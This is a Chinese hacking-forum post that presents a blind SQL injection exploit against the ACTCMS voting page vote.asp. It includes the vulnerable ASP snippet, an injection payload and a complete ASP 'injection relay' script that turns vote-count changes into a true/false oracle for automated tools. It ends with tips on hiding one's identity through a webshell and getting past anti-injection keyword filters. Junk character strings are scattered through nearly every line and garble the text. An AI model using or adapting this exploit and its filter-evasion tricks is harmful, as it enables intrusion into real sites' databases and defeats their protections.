, K( H$ K- r9 M5 c
看到ninty大牛的blog的一篇文章2 T5 O4 A1 \. [; E2 o; v8 ]) B2 Y# S! v
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
$ N" H' |; \5 V' Z4 G- i7 o关于actcms漏洞的利用 by 3x qq:381862589, q; @, j _9 k2 Z/ y% `
转载请注明以上
$ R9 }* L8 E, } Y8 h漏洞文件:. T5 z, E& F8 h0 W# c) Y& n/ D
/plus/vote/vote.asp
* X& _' q3 V0 Z6 y0 c# g9 K% k) t% Y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 3 D% L, b9 N& H2 \1 V: m
I; l0 @' V% W7 f3 g
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
/ J6 N. y6 e9 i/ D8 T2 ^: H6 B A) U, R8 d$ w$ a; J9 a
3 response.end
1 \1 [4 G5 b: i# B6 Q
5 J4 v+ d. @" T( [. K4 end if
, g9 k2 j1 ~. t& \* K S% }. q @. R' J
5 for i=1 to request("voted").count
2 a I* Y& X W
! Q4 | k! A! B0 S) D8 l6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
$ J( G4 z6 W) n7 S
# x& Z( n: L2 n; u# D2 p. ?7 next
5 n6 m5 |) Y; h* F5 K8 z" J" Q2 p. w2 l3 a
8.... x6 J/ d |, W2 Z2 N
- T1 i* p( s- [* q8 ?% l; p$ D
9response.Redirect "index.asp?id="&id&""
: X* Z: P* X% K# R1 E# B6 V投票结束回跳转回index.asp这个投票结果页面
8 x9 C5 z @& v; F) L7 e如果投票成功票数加1# q! D8 P' Z0 N. y2 n$ R
失败票数不变# E8 i2 F1 F& v6 }1 `
如图:: k7 J* O3 g3 _$ h( i
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
0 E# X" M7 }2 G9 [' {
/ \. S* ^3 x% \" m2 b2009-12-27 13:20- L V9 Q7 v0 i; R0 T
& b _8 b2 s% ^3 n, S
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了& Y9 B' u( I* W P
u5 k! P# A1 F( ]7 q# b9 H
本帖隐藏的内容需要回复才可以浏览, B; t9 G2 W9 Q( G
我们用注入中转来实现这个注入具体代码如下:% a( u8 J6 D' O+ q9 z% R& V9 y* e
先用寂寞的刺猬大牛的注入中转生成jmget.asp
( ~5 M u! v6 R( k3 b# a: r/ \注入地址:http://localhost/actcms/plus/vote/vote.asp4 T/ N" B6 C% Q) i. {3 }/ ^
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项3 F0 J* o+ v ^+ i7 u# s% ?+ W
9 r" u; h% v& ]然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% $ Z0 U4 T2 z5 p* f
0 N* ?- G0 U; u8 Q3 {
02JmdcwName=request("jmdcw") ) t# r* O$ P$ F$ p3 Y
+ d/ U, B4 ~- ~ L% y- a
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ( {' M5 }$ v0 n& g' j2 R; Q2 X S- B
( y: Q7 n2 Y; e
04JmStr="id=1&voted=-1 or 1="&JmdcwName 6 R0 j; F. B2 y* \
4 S ? S1 J2 v6 D6 Q- B2 ^
05JmStr=URLEncoding(JmStr)
- D9 t/ i: D) ]6 l& }* E4 L# ^4 X4 S
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
- a8 B7 b8 ~7 p5 r. ]- e( H' U0 Y) F4 a3 Z) W& H# V5 n+ _ ^1 a
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 N6 h$ S1 P1 u6 k6 i% R1 }- w( O% n% u- n2 A
08testurl=testurl & "?" & JmStr
7 k! C+ Q1 h. N- O: n# Y/ E8 H* k3 h8 c7 t
09JMUrl=JMUrl & "?" & JmStr
& U- F h" o/ c3 j- w; k& L( J6 T, t" B) k- m+ j" @& z
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"( Z+ G. |" O7 d
3 F, x! @2 h7 [/ W11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"; F' {9 T2 b% R
6 V1 y7 p3 U: S2 l; n' Y
12JmCok=replace(JmCok,chr(32),"%20") # F' I& P0 X2 v) \+ ~
) F' W" P1 Z, b( O7 W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 ^4 o4 P; Y8 L
8 |4 a+ |, D2 W9 A0 C. J, G14
, Q1 h6 ^/ @3 ~
7 G( x% p2 D4 M, j0 i4 M15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
7 m4 {: K) y" e& s6 P& G ^- e S" H/ U: h% D7 ^4 f
16
5 ~3 u# r! m$ u$ K/ K. y4 k% L
/ \% V- _( ]' B2 X/ G# k17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 # K+ H/ q6 `% F( M" u
; O0 V* b/ m& e7 @$ ?% N. e' D
18response.write test1&""&test2&""7 u' Q6 E H( y% |
- _1 d# V, U \4 _' f& h19
& q$ B Q( @0 |" r4 o* `. ]1 g9 c W, i& X5 ~# f; i
20if test1=test2 then '如前后记录相等,表示失败
. f$ [; ~% [+ c" V/ ]% ~4 x
8 V& v3 l' X9 _# j4 n4 m21 response.write "failed"
7 F, X, J7 O5 W6 V# x7 O; h! p. z# O' h* h# ?$ j% a1 i0 S5 [( x
22else ' z7 Y7 O2 l+ a1 M- }1 Q+ c
& F+ s) t4 V5 ^' f: ?' W0 i% a7 q* [
23 response.write "succeed"
$ A6 M/ ^# N& S6 b: I/ t6 k/ O2 l1 i9 l; J0 a
24end if
) g3 _. I6 |# q/ C, @
- U E3 l7 U+ ^! T# F _. \# X% E25
$ `% h; O: b. h& d
: N0 c' s* [( ^% t) @/ H26response.write "by 3x"
# w; T2 |3 W' h. B) p2 \3 O0 c4 e
5 U3 d+ P" h. Q$ F27 & ~9 g8 h! n+ j1 H$ x) Z
- n2 _; b0 M7 N28 # |& W# I8 \2 W3 v
) f. Q6 F. k$ c" p% r( O29Function PostData(PostUrl,PostStr,PostCok,PostRef) & S3 z, n2 x( ]: [
5 D+ a, j5 ?" t7 C8 r" r
30Dim Http
, O/ {2 A2 S/ B* x) W4 p# ^* N9 a, \. y+ Z7 t" X- e- U. f" b9 h
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
% e9 k, C8 v6 F; F# B; p' K" v9 D7 x/ J
32With Http
1 C* [2 q/ Z& g
: ]6 y* [& i* q* M9 ~. T7 K: F33 9 k9 o! N' G& ]8 U% x$ I
+ G( q% S; ]- ^( [34.Open "GET",PostUrl,False
, ?" g: k3 a$ _2 f1 S
2 [/ A( \' x v9 A4 R. ~8 I% T0 x35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# ?) ?, y5 F9 t- l7 P
3 K$ |+ _: B' B- [8 _0 o3 s7 _+ D( b36.SetRequestHeader "Referer",PostRef
8 o5 L% `3 ?) G% q4 H {+ `3 y# s/ n+ X/ K
37.SetRequestHeader "Cookie",PostCok / P" l$ d! j; V. u/ y M
$ T$ A$ A: r* d$ X$ \" ?9 Z* R6 i38.Send () 6 c; p9 l, @# m8 s* o
; D/ M, I9 o5 r6 l; h$ W0 j6 w39PostData = .ResponseBody
1 a4 ~- ]% t3 v, z4 A2 @$ k/ @9 r8 m
+ r0 v9 C5 w y$ m- z* ~40End With
" B. b. W# H- D& z
$ F& q, _$ R" N41Set Http = Nothing
% X/ R! C4 h# u5 G6 i; r/ s4 e# j* o! p' ]* Y; j- I: n" H
42PostData =bytes2BSTR(PostData)
: x+ @3 [1 E- B/ q3 l* j7 f
% r2 b! d8 B4 F, _( M43End Function
; b; k' b5 g5 \9 R
# b3 o( A" l1 a/ |# f8 ^44 ) K0 R/ E- e+ Q* Y9 ~$ x1 M
! L, o% i6 q) p' x" R( h45
6 P9 h) a" Y1 I, G- _; I5 a% w, {% s6 {( [7 K: m
46Function bytes2BSTR(vIn) # W2 ]8 \( D: s/ S4 e' c
* R$ ~6 O6 ~5 D- y% l- E% b& ]47Dim strReturn ' h, a' I6 K: u; Z ?
@; @: Y8 F8 ]9 Z# B- i
48Dim I, ThisCharCode, NextCharCode 7 s6 m& @4 _$ B, h0 O r
8 E8 M6 V8 Z+ w; b" `( B49strReturn = ""
) \- Z6 {5 t+ X$ {( l0 }+ b& l2 S. Q# E. g% ^
50For I = 1 To LenB(vIn)
/ `% a2 ?% a0 S. D, r+ H+ w: I/ t* h( r
51ThisCharCode = AscB(MidB(vIn, I, 1))
% ^: t* O7 I0 l) }3 c9 m% J* M! m+ R; x7 ~4 x
52If ThisCharCode < &H80 Then
# Q+ u. a5 o2 ^! x' a
% d1 y- a+ B1 e! l53strReturn = strReturn & Chr(ThisCharCode)
0 ^' t/ _6 L9 Z4 b3 M. u) g+ r0 k. _" E8 {+ R8 T
54Else: ^* X, y9 `# ]0 `$ [( y0 U/ l
" N O+ D) y; D% M" v- ^55NextCharCode = AscB(MidB(vIn, I + 1, 1))
! N. V) W5 q" [( b( M2 j7 C ]: m" B3 m3 s
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
* N! O, u$ j3 p! ~2 o# f4 P4 q* I" X
* u% m1 ]/ m" C! }6 X57I = I + 1
% u, w2 n) |, F; x. F0 E/ Q- v' m/ H( L" P/ {: Q+ t/ i
58End If8 \: \5 _8 v1 [8 \. U: j
5 M) n2 E8 U ~* h5 V- }59Next
/ Y# w. i3 e) G
) s( J/ T5 I$ W; s; }60bytes2BSTR = strReturn
$ W% h# G, A2 \( A) x% L
1 x/ j k' N- Z4 k7 l+ A0 K61End Function9 @' y$ ?/ z1 z1 T( h9 [$ A }, r: p
8 P5 t$ Y q/ k* h4 w+ f62 4 ]/ s- U, ]# M9 T, T: r; A- P
# z; d5 ^& G. H# Q2 M) v
63Function URLEncoding(vstrin) 3 ]. R9 f6 C ? q9 |
3 P# g* V; G/ e( l. _3 e% U64strReturn="": J3 Z l& X! f" F2 X
- o7 c& |% h$ T. |5 u5 J
65Dim i
# j d( Q7 P( H3 ?' Q" y# M9 c4 ~; W4 Z5 J! L) P1 P& c
66For i=1 To Len(vstrin)
) I% Q' l3 r2 M6 j7 W4 t
4 k: Y) v7 Z% S# d' ~* g67ThisChr=Mid(vstrin,i,1) . Z K8 T+ c" O$ I4 L
# \2 u, F1 k( F9 l) _ g" ~
68if Abs(Asc(ThisChr))< &HFF Then( J7 b+ |* t( |- H }
* Q# O9 ?% X! D
69strReturn=strReturn & ThisChr
2 L" z1 @6 K) k2 q# @/ g8 v! x3 s, l1 `( ~, I0 ?$ }7 \3 t
70Else
; ]- J( [# Y7 H" O! y8 L& I
1 p! r% A5 C4 H8 z! c71InnerCode=Asc(ThisChr)
' U7 F' P0 H, ~, u, L" U+ U
- C! K3 \, W6 J) ` E2 G72If InnerCode<0 Then9 C( V e3 I$ d+ [1 z
d- [3 e9 j6 f. R" ^5 K. H
73InnerCode=InnerCode + &H10000 . E6 {9 b% I% x5 Y3 Z6 U! V
) m7 e7 \+ @/ u3 c+ p/ c) u
74End If+ _$ e. s! j' v
2 X- z/ R7 o( Q" _+ P; d
75Hight1=(InnerCode And &HFF00) \&HFF
2 t, \) ~- I$ t2 \6 m* A" |8 O. P8 i8 N. y/ _2 p" m9 I4 S8 `- @
76Low1=InnerCode And &HFF
6 H! s, v4 M. q6 E$ G2 h1 E8 J+ w6 |* B8 u! [1 W
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' G `; L% N2 h/ y& x
8 e* m, V( C& o$ Q& G, `78End if
1 i5 x' Q5 N' g+ H. h5 [0 a* V: b$ q8 y& {, S+ z! p# ~% u- H
79Next# A- |/ h4 ~+ \6 O& _
% Y4 O5 j; o5 Y
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % T7 k! \2 t, c/ p: T$ e$ F
$ d7 ]- ?1 v* J
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
$ P5 K9 i. C$ Z, p
! O+ J6 g: D ]" i9 b82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 $ W# ?/ B8 q, `" I1 \( [7 r! a
3 _4 q. S7 ~$ ?7 I
83URLEncoding=strReturn
$ w0 J( _, K* B: e
5 a# _4 D/ _! U, t+ }84End Function- w% t" ~. [! i% ?2 J7 `+ t% K
+ {# E+ z) O! @" L85
! i' b3 N% B" `) Z2 D9 g$ A" @4 |+ a
86function getSt(body) % D4 q( o9 |/ S% g$ W" N
9 s& w2 r) t+ ^0 t4 D; I4 ~3 ?
87 startpot=instr(body,"投票人数:")+len("投票人数:")
4 ?" n9 ]3 j' e$ u, A6 F0 p) ?: ]4 b! ^
88 endpot=instr(startpot,body," ") $ ?8 F" p2 d8 {. X+ _
2 W+ d% g! k a( S89 getSt=mid(body,startpot,endpot-startpot) 5 r" L: r a5 ~
+ G7 Z5 I) u1 e* J) `1 ^" t90end function
+ E# p2 e) ]: [3 ~1 f; R z
. e" [, v, k- \& \; @91%>
) f, b; F: @. s% q" F v Z. \; S4 [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了/ x% O5 @4 J5 I2 {+ F. J, |
测试下效果:+ k: C+ m" j8 O b2 y+ |
投票成功:, j) I1 J; A3 x7 w) b9 l' G
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
h% R6 g5 M; F! I8 ~
/ S( ^' s: R' P2009-12-27 13:29( ]- t) c( l8 Y0 ^% D
投票失败
. T. g( O' @4 Y. Yhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)8 ?$ \* S5 _, h$ C
5 K& @, ^* G1 v+ ^$ Y
2009-12-27 13:29/ g7 o: j5 i" _
-------------------------------------------------------------------------------
$ D' B2 \/ _, q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
! _& {( f' |/ T6 `很抱歉。。。只能用单线程工具去注入。。。。。
" u' [3 c5 n V4 S) e6 G' J" {3 _所以失败。。。不好意思。。。
; d/ A p2 K3 Y M7 p& X& N. G-------------------------------------------------------------------------------# C+ v$ e& o: n! r q2 v
; I; |8 B6 b1 B% Q5 ~0 x8 y
注入中转的一些其他应用" U: J' m" w, w
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 @& ?3 n: Y) G3 k* P& b; N1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
% l9 v( B; i4 ~& n9 _2.post注入转成get型的注入,方便我们使用工具来跑% x, H) U8 R& I: E' `! G" c
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
4 _6 v" w3 t( {2 S8 G# |9 h; B4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过5 \1 y9 O) s9 l, e7 k8 r: w
, G M2 t/ R7 c
|